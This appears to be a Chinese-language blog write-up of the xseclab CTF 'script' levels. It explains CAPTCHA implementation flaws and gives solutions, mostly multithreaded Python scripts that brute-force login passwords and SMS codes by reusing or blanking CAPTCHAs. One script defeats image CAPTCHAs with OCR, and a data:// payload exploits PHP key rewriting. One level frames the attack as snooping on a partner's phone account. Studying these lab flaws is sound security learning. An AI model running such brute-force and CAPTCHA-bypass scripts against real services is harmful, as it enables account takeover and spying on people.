第一关:key又又找不到了
小明这次哭了,key又找不到了!!!
key啊,你究竟藏到了哪里,为什么我看到的页面上都没有啊!!!!!! 通关地址
抓包直接过
第二关:快速口算
小明要参加一个高技能比赛,要求每个人都要能够快速口算四则运算,2秒钟之内就能够得到结果,但是小明就是一个小学生没有经过特殊的培训,那小明能否通过快速口算测验呢?
通关地址
1 2 3 4 5 6 import reimport requestsu=requests.session() print (u.post('http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php' ,data={'v' :eval (str (re.findall(r' \n ([^=]+)=' ,u.get('http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php' ).text)[0 ]))}).text)
第三关:这个题目是空的
Tips:这个题目真不是随便设置的。 什么才是空的呢?
通关地址:没有,请直接提交答案(小写即可)
一脸懵逼然后去百度,然后才知道答案是null....是在下输了...
第四关:怎么就是不弹出key呢?
提交说明:提交前14个字符即可过关 通关地址
这种js我一直不知道怎么搞,后来猜知道这个东西叫匿名函数,直接执行也是有一些方法的,百度一下你就知道,比如前面可以加上~,-,+什么的,或者后面加上一个括号,但是又要保证是表达式所以前面加上一个!
比如这道题我们就可以
1 2 3 4 5 !function ( ){ var b=function (p,a,c,k,e,r ){e=function (c ){return (c<a?'' :e (parseInt (c/a)))+((c=c%a)>35 ?String .fromCharCode (c+29 ):c.toString (36 ))};if (!'' .replace (/^/ ,String )){while (c--)r[e (c)]=k[c]e (c);k=[function (e ){return r[e]}];e=function ( ){return '\\w+' };c=1 };while (c--)if (k[c])p=p.replace (new RegExp ('\\b' +e (c)+'\\b' ,'g' ),k[c]);return p}('1s(1e(p,a,c,k,e,r){e=1e(c){1d(c<a?\'\':e(1p(c/a)))+((c=c%a)>1q?1f.1j(c+1k):c.1n(1o))};1g(!\'\'.1h(/^/,1f)){1i(c--)r[e(c)]=k[c]e(c);k=[1e(e){1d r[e]}];e=1e(){1d\'\\\\w+\'};c=1};1i(c--)1g(k[c])p=p.1h(1l 1m(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);1d p}(\'Y(R(p,a,c,k,e,r){e=R(c){S(c<a?\\\'\\\':e(18(c/a)))+((c=c%a)>17?T.16(c+15):c.12(13))};U(!\\\'\\\'.V(/^/,T)){W(c--)r[e(c)]=k[c]e(c);k=[R(e){S r[e]}];e=R(){S\\\'\\\\\\\\w+\\\'};c=1};W(c--)U(k[c])p=p.V(Z 11(\\\'\\\\\\\\b\\\'+e(c)+\\\'\\\\\\\\b\\\',\\\'g\\\'),k[c]);S p}(\\\'G(B(p,a,c,k,e,r){e=B(c){A c.L(a)};E(!\\\\\\\'\\\\\\\'.C(/^/,F)){D(c--)r[e(c)]=k[c]e(c);k=[B(e){A r[e]}];e=B(){A\\\\\\\'\\\\\\\\\\\\\\\\w+\\\\\\\'};c=1};D(c--)E(k[c])p=p.C(I J(\\\\\\\'\\\\\\\\\\\\\\\\b\\\\\\\'+e(c)+\\\\\\\'\\\\\\\\\\\\\\\\b\\\\\\\',\\\\\\\'g\\\\\\\'),k[c]);A p}(\\\\\\\'t(h(p,a,c,k,e,r){e=o;n(!\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\'.m(/^/,o)){l(c--)r[c]=k[c]c;k=[h(e){f r[e]}];e=h(){f\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\w+\\\\\\\\\\\\\\\'};c=1};l(c--)n(k[c])p=p.m(q s(\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\b\\\\\\\\\\\\\\\'+e(c)+\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\b\\\\\\\\\\\\\\\',\\\\\\\\\\\\\\\'g\\\\\\\\\\\\\\\'),k[c]);f p}(\\\\\\\\\\\\\\\'1 3="6";1 4="7";1 5="";8(1 2=0;2<9;2++){5+=3+4}\\\\\\\\\\\\\\\',j,j,\\\\\\\\\\\\\\\'uibcdvxyj\\\\\\\\\\\\\\\'.z(\\\\\\\\\\\\\\\'\\\\\\\\\\\\\\\'),0,{}))\\\\\\\',H,H,\\\\\\\'ABMDCEFIJGNOPQK\\\\\\\'.K(\\\\\\\'\\\\\\\'),0,{}))\\\',X,X,\\\'SRVWUTY13Z11141210191a1b1c\\\'.14(\\\'\\\'),0,{}))\',1t,1u,\'1e1d1f1g1h1i1v1s1l1m1n1o1r1k1j1q1p1w1x1y1z\'.1r(\'\'),0,{}))' ,62 ,98 ,'returnfunctionStringifreplacewhilefromCharCode29newRegExptoString36parseInt35spliteval627553varslakfjteslkjsdflkfor' .split ('' ),0 ,{}); var d=eval (b); alert ("key is first 14 chars " +d.substr (0 ,14 )); }()
往控制台一扔就可以了
验证码系列
通过百度了解了一波 设置以及验证验证码的流程(自己的理解...):
1.写一个vcode.php,程序里面实现一个生成验证码的程序然后把验证码加密(hash)放进session或cookie(虽然我觉得放在session里面会安全一些...)
2.在登录页面显示验证码以及表单等待用户输入
3.在验证页面把用户输入的值进行加密(hash)然后和session值或cookie值对比,相等的话就验证成功,否则失败(指的只是验证码).
当然,如果设置不当这里也存在一些漏洞 比如
1.验证码仅通过cookie验证
如果你把验证码加密然后只放在cookie里面,那么hacker可以通过控制cookie来控制验证码的答案
比如你验证码1234,cookie用md5(1234),然后验证的时候是判断if(md5(\(\_POST\["vcode"\])==\) _COOKIE["xxx"]{一顿操作},那么用户可以通过把cookie["xxx"]设置成md5(1234),然后验证码设置为1234,那么这个判断就永远是正确的(当然客户端不需要知道你是不是md5,他只需要知道当绑定cookie之后发送相同验证码能不能通过验证就好了)
2.不进行非空判断
如果你在vcode.php里面设置了\(\_SESSION\["vcode"\],然后想通过这个来判断用户的输入,但是又没有对变量进行非空判断,那么用户可以直接post你的验证页面而不去访问你的表单页面,那么这个时候你的session还没有设置,所以为空,然后用户post一个空值过来那么验证就通过了.这个时候可以在判断的前面设置一个isset(\) _SESSION["xxx"])来判断,当然,最后还要记住把session值清掉,否则就会有下面这个漏洞
3.没有进行验证码的销毁
如果你最后没有对session进行清空,那么用户可以不返回你的表单页面而是直接再次请求,这个时候就可以多次尝试验证码的识别.
第五关:逗比验证码第一期
逗比的验证码,有没有难道不一样吗? 通关地址
第一道题就是验证码可以重复提交,那么验证码就相当于没有设置,你只需要一直往验证页面post第一次正确的验证码就可以.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requestsimport reimport threadingthread=[] u=requests.session() r=u.get('http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php' ) vcode_url=re.findall(r'<img src="([^" /> ' ,r.text)[0 ]with open ("vcode.png" ,'wb' ) as f: f.write(u.get(vcode_url).content) vcode=input ("input vcode:" ) def get_flag (start,end ): for each in range (start,end): data={'username' :'admin' ,'pwd' :each,'vcode' :vcode} r=u.post('http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php' ,data=data) r.encoding=r.apparent_encoding if 'error' not in r.text: print (r.text) for each in range (0 ,9 ): thread.append(threading.Thread(target=get_flag,args=(1000 +1000 *each,2000 +1000 *each))) if __name__=="__main__" : for each in thread: each.start()
第六关:逗比验证码第二期
验证便失效的验证码 通关地址
这里验证了一次之后会验证码会失效,所以第一次正确输入,之后把验证码改为空
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import requestsimport threadingimport rethread=[] u=requests.session() r=u.get('http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php' ) vcode_url=re.findall(r'<img src="([^" /> ' ,r.text)[0 ]with open ("vcode.png" ,'wb' ) as f: f.write(u.get(vcode_url).content) vcode=input ("input vcode:" ) data={'username' :'admin' ,'pwd' :1000 ,'vcode' :vcode} r=u.post('http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php' ,data=data) if 'error' not in r.text: print (r.text) def get_flag (start,end ): for each in range (start,end): data={'username' :'admin' ,'pwd' :each,'vcode' :'' } r=u.post('http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php' ,data=data) if 'error' not in r.text: print (r.text) for each in range (0 ,9 ): thread.append(threading.Thread(target=get_flag,args=(1000 +each*1000 ,2000 +each*1000 ))) if __name__=="__main__" : for each in thread: each.start()
第七关:逗比验证码第三期
尼玛,验证码怎么可以这样逗比。。 验证码做成这样,你家里人知道吗? 通关地址
这里他说有session的验证,但由于我第二个脚本就已经用到了session,所以第二个脚本随意改一下就可以get第三个的flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import requestsimport threadingimport rethread=[] u=requests.session() r=u.get('http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php' ) vcode_url=re.findall(r'<img src="([^" /> ' ,r.text)[0 ]with open ("vcode.png" ,'wb' ) as f: f.write(u.get(vcode_url).content) vcode=input ("input vcode:" ) data={'username' :'admin' ,'pwd' :1000 ,'vcode' :vcode} r=u.post('http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php' ,data=data) if 'error' not in r.text: print (r.text) def get_flag (start,end ): for each in range (start,end): data={'username' :'admin' ,'pwd' :each,'vcode' :'' } r=u.post('http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php' ,data=data,headers=headers) if 'error' not in r.text: print (r.text) for each in range (0 ,9 ): thread.append(threading.Thread(target=get_flag,args=(1000 +each*1000 ,2000 +each*1000 ))) if __name__=="__main__" : for each in thread: each.start()
第八关:微笑一下就能过关了
尼玛,碰到这样的题我能笑得出来嘛... 通关地址
源码审计的题,看源代码之后发现几个点,第一个get请求的键为^^但是在正则判断里面又不允许键里面存在
这里用到了php的一个特性(学习到了....),php里面的键包含[] 以及. 的时候会被改写成_,所以我们key的值写. 就好了,然后file方面我第一个想到了php://input,但是这里我(●'◡'●)老是搞不出来.....后来去网上看了一下,有同学说用url解码一下,然后学习了一个新脚本
1 2 3 4 5 import urllib, sysreload(sys) sys.setdefaultencoding('utf-8' ) print urllib.quote("(●'◡'●)" )
所以这里得到了(●'◡'●)的urlencode值,然后post发过去就好了
当然,另外一种思路是用data协议....(以前都没听过...)
payload:http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?. =data://text/plain;charset=unicode,(●'◡'●)
然后就搞到flag了
第九关:逗比的手机验证码
你的手机号码是13388886666,验证码将会以弹窗的形式给出 通关地址
不知道这道题出的什么鬼,反正很简单,直接获取验证码然后改手机号码登录就ok了,目测又是验证码和session对应了,然后回话不改变但是手机改变达到了目的
第十关:基情燃烧的岁月
Tips:你是一名黑客,你怀疑你的“(男/女)闺蜜”的出轨了,你要登陆TA手机的网上营业厅查看详单,一探究竟!
闺蜜手机号码:13388886666 通关地址
比较简单,验证码暴破就ok了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import requestsimport threadingimport rethread=[] u=requests.session() headers={'Cookie' :'PHPSESSID=6ebf3a78c82d6727a9fe117956aaa083' } data={'getcode' :'1' ,'mobi' :'13388886666' } r=u.post('http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/vcode.php' ,data=data,headers=headers) def get_flag (start,end ): for each in range (start,end): data={'username' :13388886666 , 'vcode' :each,'Login' :'submit' } r=u.post('http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/login.php' ,data=data,headers=headers) if 'error' not in r.text: print (r.text) for each in range (0 ,9 ): thread.append(threading.Thread(target=get_flag,args=(each*100 +100 ,each*100 +200 ))) if __name__=="__main__" : for each in thread: each.start()
得到回复:你伤心的发现他/她正在跟你的前男/女友勾搭.....于是下决心看看前任除了跟你的(男/女)闺蜜勾搭,是不是还跟别的勾搭..
前任的手机号码是:13399999999 所以再暴破一次
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import requestsimport threadingimport rethread=[] u=requests.session() headers={'Cookie' :'PHPSESSID=6ebf3a78c82d6727a9fe117956aaa083' } data={'getcode' :'1' ,'mobi' :13399999999 } r=u.post('http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/vcode.php' ,data=data,headers=headers) def get_flag (start,end ): for each in range (start,end): data={'username' :13399999999 , 'vcode' :each,'Login' :'submit' } r=u.post('http://lab1.xseclab.com/vcode6_mobi_b46772933eb4c8b5175c67dbc44d8901/login.php' ,data=data,headers=headers) if 'error' not in r.text: print (r.text) for each in range (0 ,9 ): thread.append(threading.Thread(target=get_flag,args=(each*100 +100 ,each*100 +200 ))) if __name__=="__main__" : for each in thread: each.start()
第十一关:验证码识别
Tips:验证码依然是3位数 通关地址
这里加入了验证码来阻碍暴破,所以这里我们使用pytesseract库来帮我们识别
代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import requestsimport pytesseractimport refrom PIL import Imageu=requests.session() headers={'User-Agent' :'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36' } r=u.get('http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/index.php' ,headers=headers) data={'getcode' :1 ,'mobi' :13388886666 } u.post('http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/mobi_vcode.php' ,headers=headers,data=data) for each in range (100 ,1000 ): img=u.get('http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php' ,headers=headers).content with open ('1.png' ,'wb' ) as f: f.write(img) vcode='' error_time=0 while vcode=='' and error_time<3 : vcode=pytesseract.image_to_string(Image.open ('1.png' )) vcode=vcode.replace(" " ,'' ) if error_time>=3 : img=u.get('http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/vcode.php' ,headers=headers).content with open ('1.png' ,'wb' ) as f: f.write(img) vcode='' error_time=0 error_time+=1 data={'username' :13388886666 , 'mobi_code' :each,'user_code' :vcode,'Login' :'submit' } r=u.post('http://lab1.xseclab.com/vcode7_f7947d56f22133dbc85dda4f28530268/login.php' ,data=data,headers=headers) if 'error' not in r.text: print (r.text)
然后后面的xss不知道为什么打不开....脚本关就到这里了,验证码的东西还真学到了不少..